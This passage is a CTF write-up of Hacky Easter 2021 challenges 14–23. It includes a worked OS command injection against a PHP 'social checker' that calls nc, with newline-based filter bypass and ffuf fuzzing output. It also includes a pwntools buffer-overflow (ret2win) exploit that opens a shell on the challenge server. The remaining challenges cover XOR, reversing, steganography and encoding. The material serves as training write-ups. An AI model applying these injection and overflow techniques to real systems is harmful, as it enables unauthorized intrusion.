Now we only need to apply this key on the whole content of the file, which can be done using the following script:
#!/usr/bin/env python3
key = b'haxxors!'
ct = open('haxxorwhat', 'rb').read()
r = b''
for i in range(len(ct)):
r += bytes([ct[i]^key[i%len(key)]])
f = open('out','wb')
f.write(r)
f.close()
Running the script will create the output file out:
┌──(kali㉿kali)-[~/ctf/he21/14]
└─$ ./crax0r.py
┌──(kali㉿kali)-[~/ctf/he21/14]
└─$ file out
out: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced
This is actually the egg:
Now we only need to scan the QR code:
┌──(kali㉿kali)-[~/ctf/he21/14]
└─$ zbarimg out
QR-Code:he2021{r34l_x0r_h4xx0r}
scanned 1 barcode symbols from 1 images in 0.08 seconds
The flag is he2021{r34l_x0r_h4xx0r}.
HE21.15 Social Checker
| |||||||||
Social Checker - check if your favourite social media site is online!
http://46.101.107.117:2103
Note: The service is restarted every hour at x:00.
Hint
Some characters are blocked - find a workaround!
|
The provided website can be used to check if a given social media site is online:
Within an unmodified request the POST parameter url is set to the social media site (e.g. twitter.com). The result contains the name of the requested website (twitter.com), its ip address and port (104.244.42.193:80) as well as the status (open):
Let’s start by changing the url to target localhost:
This works. At next let’s try to add a simple command injection:
Obviously there is some kind of filter.
When we provide an invalid port number, we can verify that nc is used (which also means that an OS command is directly invoked):
In order to find possible characters, which are not filtered and can be used for a command injection, we can fuzz the service using ffuf. The wordlist we use (URI-hex.txt) contains all possible 256 bytes (URL encoded): %00, %01, … %ff. The default response size is 29, so we filter these responses out:
┌──(kali㉿kali)-[~/ctf/he21/15]
└─$ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/URI-hex.txt -u http://46.101.107.117:2103/check.php -d 'url=127.0.0.1FUZZ' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -fs 29
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : POST
:: URL : http://46.101.107.117:2103/check.php
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Fuzzing/URI-hex.txt
:: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8
:: Data : url=127.0.0.1FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 29
________________________________________________
%27 [Status: 200, Size: 0, Words: 1, Lines: 1]
%00 [Status: 200, Size: 0, Words: 1, Lines: 1]
%20 [Status: 200, Size: 46, Words: 4, Lines: 1]
%09 [Status: 200, Size: 30, Words: 3, Lines: 2]
%29 [Status: 200, Size: 0, Words: 1, Lines: 1]
%22 [Status: 200, Size: 0, Words: 1, Lines: 1]
%28 [Status: 200, Size: 0, Words: 1, Lines: 1]
%0a [Status: 200, Size: 18, Words: 4, Lines: 2]
%30 [Status: 200, Size: 32, Words: 3, Lines: 2]
%26 [Status: 200, Size: 18, Words: 4, Lines: 2]
%3a [Status: 200, Size: 31, Words: 5, Lines: 2]
%39 [Status: 200, Size: 32, Words: 3, Lines: 2]
%33 [Status: 200, Size: 32, Words: 3, Lines: 2]
%3b [Status: 200, Size: 46, Words: 4, Lines: 1]
%35 [Status: 200, Size: 32, Words: 3, Lines: 2]
%37 [Status: 200, Size: 32, Words: 3, Lines: 2]
%32 [Status: 200, Size: 32, Words: 3, Lines: 2]
%34 [Status: 200, Size: 32, Words: 3, Lines: 2]
%38 [Status: 200, Size: 32, Words: 3, Lines: 2]
%31 [Status: 200, Size: 32, Words: 3, Lines: 2]
%36 [Status: 200, Size: 32, Words: 3, Lines: 2]
%3e [Status: 200, Size: 0, Words: 1, Lines: 1]
%3c [Status: 200, Size: 0, Words: 1, Lines: 1]
%60 [Status: 200, Size: 0, Words: 1, Lines: 1]
%7c [Status: 200, Size: 18, Words: 4, Lines: 2]
%5c [Status: 200, Size: 31, Words: 5, Lines: 2]
:: Progress: [256/256] :: Job [1/1] :: 51 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Now we have a few characters, which generated a different response.
By using %0a we can see an error message from sh, which complains that the command 80 is unknown:
Obviously the injection point looks something like this (according to the X-Powered-By header we are dealing with php):
system("nc ".$_POST['url'].":80")
Thus we can run a command by adding another %0a after the command, we want to execute:
Using ls we can see that there is a file called flag.txt:
Though we cannot use a space:
Using < to redirect the contents of flag.txt to cat is sufficient:
The flag is he2021{1ts_fun_t0_1nj3kt_k0mmand5}.
HE21.16 LOTL
| |||||||||
Save the planet! Well, we should then better LOTL and use what we have, right? nc 46.101.107.117 2102 Get a shell and read the flag. Note: The service is restarted every hour at x:00. lotl Hint Ubuntu 18.04 64 Bit |
The provided file is a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ file lotl
lotl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=05ea252a13b095c8275884ab0350d0f6848f4e9c, not stripped
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ r2 -A lotl
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400670]> iI
arch x86
baddr 0x400000
binsz 6985
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
We can also see that there is a function called profit, which spawns a shell:
[0x00400670]> afl
0x00400670 1 42 entry0
0x004006b0 4 42 -> 37 sym.deregister_tm_clones
0x004006e0 4 58 -> 55 sym.register_tm_clones
0x00400720 3 34 -> 29 entry.fini0
0x00400750 1 7 entry.init0
0x004008f0 1 2 sym.__libc_csu_fini
0x00400757 1 97 sym.ignore_me_init_buffering
0x00400660 1 6 sym.imp.setvbuf
0x0040086d 1 19 sym.profit
0x00400610 1 6 sym.imp.system
0x004008f4 1 9 sym._fini
0x004007b8 3 47 sym.kill_on_timeout
0x00400620 1 6 sym.imp.printf
0x00400600 1 6 sym.imp._exit
0x00400880 4 101 sym.__libc_csu_init
0x004006a0 1 2 sym._dl_relocate_static_pie
0x00400809 1 100 main
0x004007e7 1 34 sym.ignore_me_init_signal
0x00400640 1 6 sym.imp.signal
0x00400630 1 6 sym.imp.alarm
0x00400650 1 6 sym.imp.gets
0x004005d8 3 23 sym._init
[0x00400670]> pdf @ sym.profit
┌ 19: sym.profit ();
│ 0x0040086d 55 push rbp
│ 0x0040086e 4889e5 mov rbp, rsp
│ 0x00400871 488d3d000100. lea rdi, qword str.bin_sh ; 0x400978 ; "/bin/sh" ; const char *string
│ 0x00400878 e893fdffff call sym.imp.system ; int system(const char *string)
│ 0x0040087d 90 nop
│ 0x0040087e 5d pop rbp
└ 0x0040087f c3 ret
Within the main function the unsafe function gets is used, to read user input:
[0x00400670]> pdf @ sym.main
; DATA XREF from entry0 @ 0x40068d
┌ 100: int main (int argc, char **argv);
│ ; var char **var_30h @ rbp-0x30
│ ; var int64_t var_24h @ rbp-0x24
│ ; var char *s @ rbp-0x20
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ 0x00400809 55 push rbp
│ 0x0040080a 4889e5 mov rbp, rsp
│ 0x0040080d 4883ec30 sub rsp, 0x30
│ 0x00400811 897ddc mov dword [var_24h], edi ; argc
│ 0x00400814 488975d0 mov qword [var_30h], rsi ; argv
│ 0x00400818 b800000000 mov eax, 0
│ 0x0040081d e835ffffff call sym.ignore_me_init_buffering
│ 0x00400822 b800000000 mov eax, 0
│ 0x00400827 e8bbffffff call sym.ignore_me_init_signal
│ 0x0040082c 488d3d050100. lea rdi, qword str.Welcome__Please_give_me_your_name ; 0x400938 ; "Welcome! Please give me your name!\n> " ; const char *format
│ 0x00400833 b800000000 mov eax, 0
│ 0x00400838 e8e3fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040083d 488d45e0 lea rax, qword [s]
│ 0x00400841 4889c7 mov rdi, rax ; char *s
│ 0x00400844 b800000000 mov eax, 0
│ 0x00400849 e802feffff call sym.imp.gets ; char *gets(char *s)
│ 0x0040084e 488d45e0 lea rax, qword [s]
│ 0x00400852 4889c6 mov rsi, rax
│ 0x00400855 488d3d020100. lea rdi, qword str.Hi__s__nice_to_meet_you ; 0x40095e ; "Hi %s, nice to meet you!\n" ; const char *format
│ 0x0040085c b800000000 mov eax, 0
│ 0x00400861 e8bafdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400866 b800000000 mov eax, 0
│ 0x0040086b c9 leave
└ 0x0040086c c3 ret
Since gets does not do any boundary checks and there are no canaries, this can be used to simply overwrite the return address on the stack in order to control the instruction pointer.
At first let’s determine the offset from the beginning of the buffer to the return address. We can for example use gdb-peda:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ gdb ./lotl
Reading symbols from ./lotl...
(No debugging symbols found in ./lotl)
gdb-peda$
Using the pattern_create command, we can generate a pattern of 200 bytes:
gdb-peda$ pattern_create 200 /tmp/pattern
Writing pattern of 200 chars to filename "/tmp/pattern"
Now we run the program with the pattern:
gdb-peda$ r < /tmp/pattern
Starting program: /home/kali/ctf/he21/16/lotl < /tmp/pattern
Welcome! Please give me your name!
> Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcA..., nice to meet you!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x7fffffffb920 ("Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA"...)
RDI: 0x7ffff7faf670 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdfd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJ...")
RIP: 0x40086c (<main+99>: ret)
R8 : 0xffffffff
R9 : 0xdf
R10: 0x7fffffffdfb0 ("AAA%AAsAABAA$AAnAACA...")
R11: 0x246
R12: 0x400670 (<_start>: xor ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400861 <main+88>: call 0x400620 <printf@plt>
0x400866 <main+93>: mov eax,0x0
0x40086b <main+98>: leave
=> 0x40086c
The program received a segmentation fault, because the return address was overwritten. The top value on the stack can be used to determine the offset from the beginning of the pattern:
gdb-peda$ pattern_offset "AA0AAFAAbAA1A"
AA0AAFAAbAA1A found at offset: 40
The offset is 40. Accordingly the exploit to overwrite the return address with the address of profit looks like this:
#!/usr/bin/env python3
from pwn import *
offset = 40
profit = 0x0040086d
io = process('./lotl')
expl = b'A'*offset
expl += p64(profit)
io.sendlineafter('name!', expl)
io.interactive()
Running the exploit locally works fine:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ ./expl.py
[+] Starting local process './lotl': pid 12373
[*] Switching to interactive mode
> Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@, nice to meet you!
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),142(kaboxer)
Though, when changing it to target the remote service…
...
io = remote('46.101.107.117', 2102)
...
… it does not work:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ ./expl.py
[+] Opening connection to 46.101.107.117 on port 2102: Done
[*] Switching to interactive mode
> Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@, nice to meet you!
$
[*] Interrupted
[*] Got EOF while reading in interactive
If you have experienced this behavior before, it’s quite obvious what is wrong. Otherwise it can be tough.
We can assume that the binary on the target server is exactly the same. What is probably not the same is the glibc. Some versions of it error out when the stack is not correctly 16 byte aligned. In order to fix this, we simply need to add a gadget to a ret instruction (rop nop), which effectively does nothing but consuming 8 bytes from the stack. This realigns the stack correctly.
We can for example use ROPgadget to find an appropriate gadget:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ ROPgadget --binary lotl| grep ': ret'
0x00000000004005ee : ret
The adjusted exploit script looks like this:
#!/usr/bin/env python3
from pwn import *
offset = 40
profit = 0x0040086d
ropnop = 0x004005ee
io = remote('46.101.107.117', 2102)
expl = b'A'*offset
expl += p64(ropnop)
expl += p64(profit)
io.sendlineafter('name!', expl)
io.interactive()
If we now run the script, it also works remotely:
┌──(kali㉿kali)-[~/ctf/he21/16]
└─$ ./expl.py
[+] Opening connection to 46.101.107.117 on port 2102: Done
[*] Switching to interactive mode
> Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xee@, nice to meet you!
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
Now we simply need to read the flag:
$ ls -al
total 56
drwxr-xr-x 1 root root 4096 Mar 2 18:31 .
drwxr-xr-x 1 root root 4096 Mar 2 18:31 ..
-rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root root 807 Apr 4 2018 .profile
-rwxrwxr-x 1 root root 8848 Mar 2 18:30 challenge1
-rw-rw-r-- 1 root root 40 Mar 2 18:30 flag
-rwxrwxr-x 1 root root 18744 Mar 2 18:30 ynetd
$ cat flag
he2021{w3ll_th4t_w4s_4_s1mpl3_p4yl04d}
The flag is he2021{w3ll_th4t_w4s_4_s1mpl3_p4yl04d}.
HE21.17 Digizzled
| |||||||||
Had a flag, but it got digizzled. Can you recover it?
-------------------------------------
o o
| o o |
o-O o--o o-o o-o | o-o o-o
| | | | | | / / | |-' |
o-o | o--O | o-o o-o o o-o o
|
o--o
-------------------------------------
enter flag: [REDACTED]
digizzling...
c5ab05ca73f205ca
digizzle
|
The provided text file contains the disassembly of a python script:
┌──(kali㉿kali)-[~/ctf/he21/17]
└─$ cat digizzle
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (re)
6 STORE_NAME 0 (re)
2 8 LOAD_NAME 0 (re)
10 LOAD_METHOD 1 (compile)
12 LOAD_CONST 2 ('^he2021\\{([dlsz134]){9}\\}$')
14 CALL_METHOD 1
16 STORE_NAME 2 (pattern)
4 18 LOAD_CONST 3 (<code object hizzle at 0x10b3ad270, file "digizzle.py", line 4>)
20 LOAD_CONST 4 ('hizzle')
22 MAKE_FUNCTION 0
24 STORE_NAME 3 (hizzle)
12 26 LOAD_CONST 5 (<code object smizzle at 0x10b3ad9c0, file "digizzle.py", line 12>)
28 LOAD_CONST 6 ('smizzle')
30 MAKE_FUNCTION 0
32 STORE_NAME 4 (smizzle)
15 34 LOAD_NAME 5 (print)
36 LOAD_CONST 7 ('-------------------------------------')
38 CALL_FUNCTION 1
40 POP_TOP
16 42 LOAD_NAME 5 (print)
44 LOAD_CONST 8 (' o o ')
46 CALL_FUNCTION 1
48 POP_TOP
17 50 LOAD_NAME 5 (print)
52 LOAD_CONST 9 (' | o o | ')
54 CALL_FUNCTION 1
56 POP_TOP
18 58 LOAD_NAME 5 (print)
60 LOAD_CONST 10 (' o-O o--o o-o o-o | o-o o-o ')
62 CALL_FUNCTION 1
64 POP_TOP
19 66 LOAD_NAME 5 (print)
68 LOAD_CONST 11 (" | | | | | | / / | |-' | ")
70 CALL_FUNCTION 1
72 POP_TOP
20 74 LOAD_NAME 5 (print)
76 LOAD_CONST 12 (' o-o | o--O | o-o o-o o o-o o ')
78 CALL_FUNCTION 1
80 POP_TOP
21 82 LOAD_NAME 5 (print)
84 LOAD_CONST 13 (' | ')
86 CALL_FUNCTION 1
88 POP_TOP
22 90 LOAD_NAME 5 (print)
92 LOAD_CONST 14 (' o--o ')
94 CALL_FUNCTION 1
96 POP_TOP
23 98 LOAD_NAME 5 (print)
100 LOAD_CONST 7 ('-------------------------------------')
102 CALL_FUNCTION 1
104 POP_TOP
24 106 LOAD_NAME 6 (input)
108 LOAD_CONST 15 ('enter flag:')
110 CALL_FUNCTION 1
112 STORE_NAME 7 (s)
25 114 LOAD_NAME 2 (pattern)
116 LOAD_METHOD 8 (match)
118 LOAD_NAME 7 (s)
120 CALL_METHOD 1
122 POP_JUMP_IF_FALSE 174
26 124 LOAD_NAME 5 (print)
126 LOAD_CONST 16 ('digizzling...')
128 CALL_FUNCTION 1
130 POP_TOP
27 132 LOAD_NAME 3 (hizzle)
134 LOAD_NAME 7 (s)
136 CALL_FUNCTION 1
138 STORE_NAME 9 (a)
28 140 LOAD_NAME 3 (hizzle)
142 LOAD_NAME 7 (s)
144 LOAD_CONST 1 (None)
146 LOAD_CONST 1 (None)
148 LOAD_CONST 17 (-1)
150 BUILD_SLICE 3
152 BINARY_SUBSCR
154 CALL_FUNCTION 1
156 STORE_NAME 10 (b)
29 158 LOAD_NAME 5 (print)
160 LOAD_NAME 4 (smizzle)
162 LOAD_NAME 9 (a)
164 LOAD_NAME 10 (b)
166 CALL_FUNCTION 2
168 CALL_FUNCTION 1
170 POP_TOP
172 JUMP_FORWARD 8 (to 182)
31 >> 174 LOAD_NAME 5 (print)
176 LOAD_CONST 18 ('wrong format!')
178 CALL_FUNCTION 1
180 POP_TOP
>> 182 LOAD_CONST 1 (None)
184 RETURN_VALUE
Disassembly of <code object hizzle at 0x10b3ad270, file "digizzle.py", line 4>:
5 0 LOAD_CONST 1 (13)
2 STORE_FAST 1 (s1)
6 4 LOAD_CONST 2 (37)
6 STORE_FAST 2 (s2)
7 8 SETUP_LOOP 52 (to 62)
10 LOAD_GLOBAL 0 (range)
12 LOAD_GLOBAL 1 (len)
14 LOAD_FAST 0 (s)
16 CALL_FUNCTION 1
18 CALL_FUNCTION 1
20 GET_ITER
>> 22 FOR_ITER 36 (to 60)
24 STORE_FAST 3 (n)
8 26 LOAD_FAST 1 (s1)
28 LOAD_GLOBAL 2 (ord)
30 LOAD_FAST 0 (s)
32 LOAD_FAST 3 (n)
34 BINARY_SUBSCR
36 CALL_FUNCTION 1
38 BINARY_ADD
40 LOAD_CONST 3 (65521)
42 BINARY_MODULO
44 STORE_FAST 1 (s1)
9 46 LOAD_FAST 1 (s1)
48 LOAD_FAST 2 (s2)
50 BINARY_MULTIPLY
52 LOAD_CONST 3 (65521)
54 BINARY_MODULO
56 STORE_FAST 2 (s2)
58 JUMP_ABSOLUTE 22
>> 60 POP_BLOCK
10 >> 62 LOAD_FAST 2 (s2)
64 LOAD_CONST 4 (16)
66 BINARY_LSHIFT
68 LOAD_FAST 1 (s1)
70 BINARY_OR
72 RETURN_VALUE
Disassembly of <code object smizzle at 0x10b3ad9c0, file "digizzle.py", line 12>:
13 0 LOAD_GLOBAL 0 (format)
2 LOAD_FAST 0 (a)
4 LOAD_CONST 1 ('x')
6 CALL_FUNCTION 2
8 LOAD_GLOBAL 0 (format)
10 LOAD_FAST 1 (b)
12 LOAD_CONST 1 ('x')
14 CALL_FUNCTION 2
16 BINARY_ADD
18 RETURN_VALUE
I went through the disassembly line by line and reimplemented the script.
Because of the provided regex ‘^he2021\\{([dlsz134]){9}\\}$’, we now that the alphabet for the flag is dlsz134 and the length is 9.
By using a simple bruteforce arround the reimplemented script, we can determine the correct flag:
#!/usr/bin/env python3
def hizzle(s): # line 4
s1=13
s2=37
for n in range(len(s)):
s1 = (s1 + ord(s[n])) % 65521
s2 = (s1*s2) % 65521
return s1 + (s2<<16)
def smizzle(a,b): # line 12
return format(a,'x')+format(b,'x')
print('-------------------------------------')
print(' o o ')
print(' | o o | ')
print(' o-O o--o o-o o-o | o-o o-o ')
print(" | | | | | | / / | |-' | ")
print(' o-o | o--O | o-o o-o o o-o o ')
print(' | ')
print(' o--o ')
print('-------------------------------------')
alpha = 'dlsz134'
for a1 in alpha:
for a2 in alpha:
for a3 in alpha:
for a4 in alpha:
for a5 in alpha:
for a6 in alpha:
for a7 in alpha:
for a8 in alpha:
for a9 in alpha:
#input('enter flag:')
s = 'he2021{'+a1+a2+a3+a4+a5+a6+a7+a8+a9+'}'
#if (not pattern.match(s)): print('fail')
a = hizzle(s)
b = hizzle(s[::-1])
if (smizzle(a,b) == 'c5ab05ca73f205ca'):
print(s)
quit()
A few seconds after running the script, the flag is printed:
┌──(kali㉿kali)-[~/ctf/he21/17]
└─$ ./brut0r.py
-------------------------------------
o o
| o o |
o-O o--o o-o o-o | o-o o-o
| | | | | | / / | |-' |
o-o | o--O | o-o o-o o o-o o
|
o--o
-------------------------------------
he2021{d1s4zzl3d}
The flag is he2021{d1s4zzl3d}.
HE21.18 Bunny Beat
| |||||||||
The bunnies have discovered minimal beats!
But where is the flag?
bunnybeat.wav
|
I used Sonic Visualiser to open the provided .wav file.
By choosing Layer -> Add Spectrogram the spectrogram can be displayed, which contains the flag:
The flag is he2021{Sp3ctrogramsROCK!}.
HE21.19 😈
| |||||||||
One of the bunnies made a new friend. But when asked for the name, he only got the response below. Can you find out the friend's name, in UPPERCASE? ▫▫😈😈▫▫▫😈▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫😈😈▫▫▫😈😈▫😈😈▫▫▫😈😈▫😈😈▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫😈 flag format: he2021{JOHNDOE} Hint We need the name of what you find, in UPPERCASE, and wrapped in he2021{...}. |
Yet again CyberChef can be used to solve this challenge.
At first we replace the white squares (▫) with a 0 and the devil smileys (😈) with a 1 using Find / Replace. The resulting bit stream can be converted to ASCII using From Binary:
This results in the number 1000000000000066600000000000001.
By googling for this number, we can find out that this is actually a prime number called Belphegor’s prime.
Accordingly the name we are looking for is belphegor.
The flag is he2021{BELPHEGOR}.
HE21.20 Run Me, Baby!
| |||||||||
This one's easy, ain't it? Just run the .class file. Hope you like Java! runme.class |
In order to run the provided .class file, I downloaded groovy-3.0.7.jar from here.
I already had different versions of java installed. java-14-openjdk worked fine by providing groovy-3.0.7.jar (as well as the current directory) within the class path:
$ /usr/lib/jvm/java-14-openjdk-amd64/bin/java -cp "./groovy-3.0.7.jar:." runme
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
The flag is: he2021{isnt_17_gr00vy_baby?}
The flag is he2021{isnt_17_gr00vy_baby?}.
HE21.21 Memeory 3.0 – The Finale
| |||||||||
We finally fixed Memeory 2.0 and proudly release Memeory 3.0 aka the supersecure-Memeory.
Flagbounty for everyone who can solve 10 successive rounds. Time per round is 30 seconds and only 3 missclicks are allowed.
http://46.101.107.117:2107
Note: The service is restarted every hour at x:00.
Hint
Not solvable via UI/browser, really.
|
The Memeory is a real classic from HackyEaster: Memeory 2018, Memeory 2.0 2019.
This third iteration is even more challenging:
The major challenge this time was that the single pictures were always slightly modified by the server. This includes not only rotating but also coloring:
This made is more challenging to compare the pictures in order to find the correct pairs.
I used to following (far from being good, but working) strategy:
- Retrieve the images in multiple threads and for each store the 4 possible rotations in a PIL.Image object
- Try to find matches by using the difference image from PIL.ImageChops (only works if the coloring is the same)
- Try to find matches by looking for images where the difference in the RGB values for each pixel is quite low
- Try to find matches by looking for equal dimensions
This resulted in the following script:
#!/usr/bin/env python3
import requests
import random
from PIL import Image
from PIL import ImageChops
from threading import Thread
url = 'http://46.101.107.117:2107'
class ImageGett0r(Thread):
def __init__(self, s, imgs, n):
super(ImageGett0r, self).__init__()
self.s = s
self.imgs = imgs
self.n = n
def run(self):
for i in self.n:
r = self.s.get(url+'/pic/'+str(i))
open('./pic/'+str(i), 'wb').write(r.content)
img = Image.open('./pic/'+str(i))
for j in range(4):
self.imgs[str(i)+'_'+str(j)] = img.rotate(90*j)
def are_the_same(i1, i2):
if (i1.size[0] == 200 and i1.size[1] == 200 and i2.size[0] == 200 and i2.size[1] == 200):
diff = ImageChops.difference(i1, i2)
# difference is actually empty? got a match!
if (not diff.getbbox()): return True
if (diff.getbbox()[0] > 0 or diff.getbbox()[1] > 0): return True
# if each RGB value in the diff image is quite low, the images are probably the same
pix = diff.load()
for w in range(diff.size[0]):
for h in range(diff.size[1]):
p = pix[w,h]
for s in range(3):
if (p[s] > 100): return False
return True
# a few strange dimensions.. luckily only one pair per dimension
for d in [150, 193, 201, 211]:
if ((i1.size[0] == d or i1.size[1] == d) and (i2.size[0] == d or i2.size[1] == d)): return True
return False
s = requests.Session()
for rnd in range(1,11):
print('Round '+str(rnd)+'/10')
r = s.get(url)
imgs = {}
ts = []
for i in range(1,99,14):
t = ImageGett0r(s, imgs, list(range(i,i+14)))
t.start()
ts.append(t)
for t in ts: t.join()
matches = []
for i in range(1,99):
for j in range(1,99):
if (i == j): continue
for x in range(4):
if (are_the_same(imgs[str(i)+'_0'], imgs[str(j)+'_'+str(x)])):
if ((i,j) not in matches and (j,i) not in matches):
matches.append((i,j))
break
print('- found ' + str(len(matches))+' matches')
left = []
for i in range(1,99):
ok = False
for m in matches:
if (i == m[0] or i == m[1]):
ok = True
break
if (not ok): left.append(i)
print('pairs left: ' + str(left))
random.shuffle(left)
while (len(matches) < 49):
# a little bit of guessing
matches.append((left.pop(), left.pop()))
r = None
for m in matches:
r = s.post(url+'/solve', data={'first':m[0], 'second':m[1]}, proxies={'http':'http://localhost:8080'})
if (rnd == 10):
print(r.text)
elif (r.text != 'nextRound'):
print('fail')
quit()
If the above mentioned strategies did not find all matches, the script chooses the remaining matches randomly. Though it turned out to be relatively reliable.
Running the script yields the flag:
┌──(kali㉿kali)-[~/ctf/he21/21]
└─$ ./solv0r.py
Round 1/10
- found 49 matches
pairs left: []
Round 2/10
- found 49 matches
pairs left: []
Round 3/10
- found 49 matches
pairs left: []
Round 4/10
- found 49 matches
pairs left: []
Round 5/10
- found 48 matches
pairs left: [17, 22]
Round 6/10
- found 49 matches
pairs left: []
Round 7/10
- found 49 matches
pairs left: []
Round 8/10
- found 48 matches
pairs left: [84, 98]
Round 9/10
- found 48 matches
pairs left: [19, 71]
Round 10/10
- found 49 matches
pairs left: []
ok, here is your flag: he2021{0k-1-5u44end3r-y0u-w1n!}
The flag is he2021{0k-1-5u44end3r-y0u-w1n!}.
HE21.22 46 Apes
| |||||||||
46 apes encoded a message for you:
2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf==
|
The provided string looks base64 encoded, but does not decode to something useful:
┌──(kali㉿kali)-[~/ctf/he21/22]
└─$ echo 2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf==|base64 -d|hexdump -C
00000000 d9 0b bd dd 98 49 1d db 0c 18 89 61 99 c8 14 5d |.....I.....a...]|
00000010 a8 0c 59 ed 7d 89 c9 81 19 b9 c5 88 ea 01 4d 9c |..Y.}.........M.|
00000020 08 8c ce c5 19 dd 20 1d d7 cd 4d bb 81 d9 ae 55 |...... ...M....U|
00000030 d9 7d 49 cd cb 85 dc cc cd 41 |.}I......A|
0000003a
Trying to make some sense of this data did not lead to anything. So I moved a step backwards and tried to reconsider if the provided string is really base64.
The name of the challenge is a hint: 46 apes. By changing two characters at a time we get 64 pase, which reminds of base64. By doing the same thing (changing each subsequent two characters) on the provided string we get the correct base64 encoded string:
#!/usr/bin/env python3
from base64 import b64decode
s = '2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf=='
r = ''
for i in range(0, len(s), 2):
b = s[i:i+2]
r += b[::-1]
print(b64decode(r.encode()))
Running the script outputs the flag:
┌──(kali㉿kali)-[~/ctf/he21/22]
└─$ ./rox0r.py
b'Congrats, here is your flag: he2021{th4ts_m0nkey_bus1n3ss}'
The flag is he2021{th4ts_m0nkey_bus1n3ss}.
HE21.23 Eggcryptor
| |||||||||
Eggcryptor is hiding something from you.
Crack it and get the Easter Egg!
eggcryptor.apk
Hint
You don't need to run the app. Just decompile and analyze it.
|
The provided file is an android application, which can be decompiled e.g. using jadx.
Within the MainActivity of the application, we can see that there seems to be an EditText, in which a PIN is supposed to be entered:
If the entered PIN matches a given pattern (p.matcher(pin.getText().matches()), Crypto.decrypt is used to decrypt the String r, which was read from the resource R.raw.raw.
The decrypted byte array is then used as an image via image.setImageBitmap.
